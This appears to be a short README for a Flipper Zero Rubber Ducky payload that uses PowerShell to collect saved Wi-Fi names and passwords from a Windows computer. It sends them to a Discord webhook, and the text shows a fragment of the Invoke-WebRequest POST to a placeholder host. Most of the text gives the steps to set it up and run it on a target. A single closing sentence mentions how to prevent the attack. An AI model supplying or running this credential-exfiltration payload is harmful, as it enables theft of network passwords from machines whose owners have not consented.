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Obtain Wi-Fi names and passwords from a Microsoft Windows operating system computer. This can be accessed by leveraging the convenience of Wi-Fi profiles that are saved on Microsoft Windows operating systems using PowerShell.
Note
The payload was designed for a Flipper Zero using the classic Rubber Ducky Scripting Language 1.0 to exfiltrate data through the use of Discord webhooks. It can also be used as a regular payload with a webhook.
- Replace
https://YOUR_LINK_HERE.comin payload.txt with your custom webhook.
...Invoke-WebRequest -Uri https://YOUR_LINK_HERE.com -Method Post...
- Upload payload.txt to your hotplug.
- Execute the file.
There are many ways to prevent this hotload attack from occurring. A very quick, simple, and temporary way is by deleting "Managed Known Networks" in Settings and to refrain from saving your Wi-Fi passwords.
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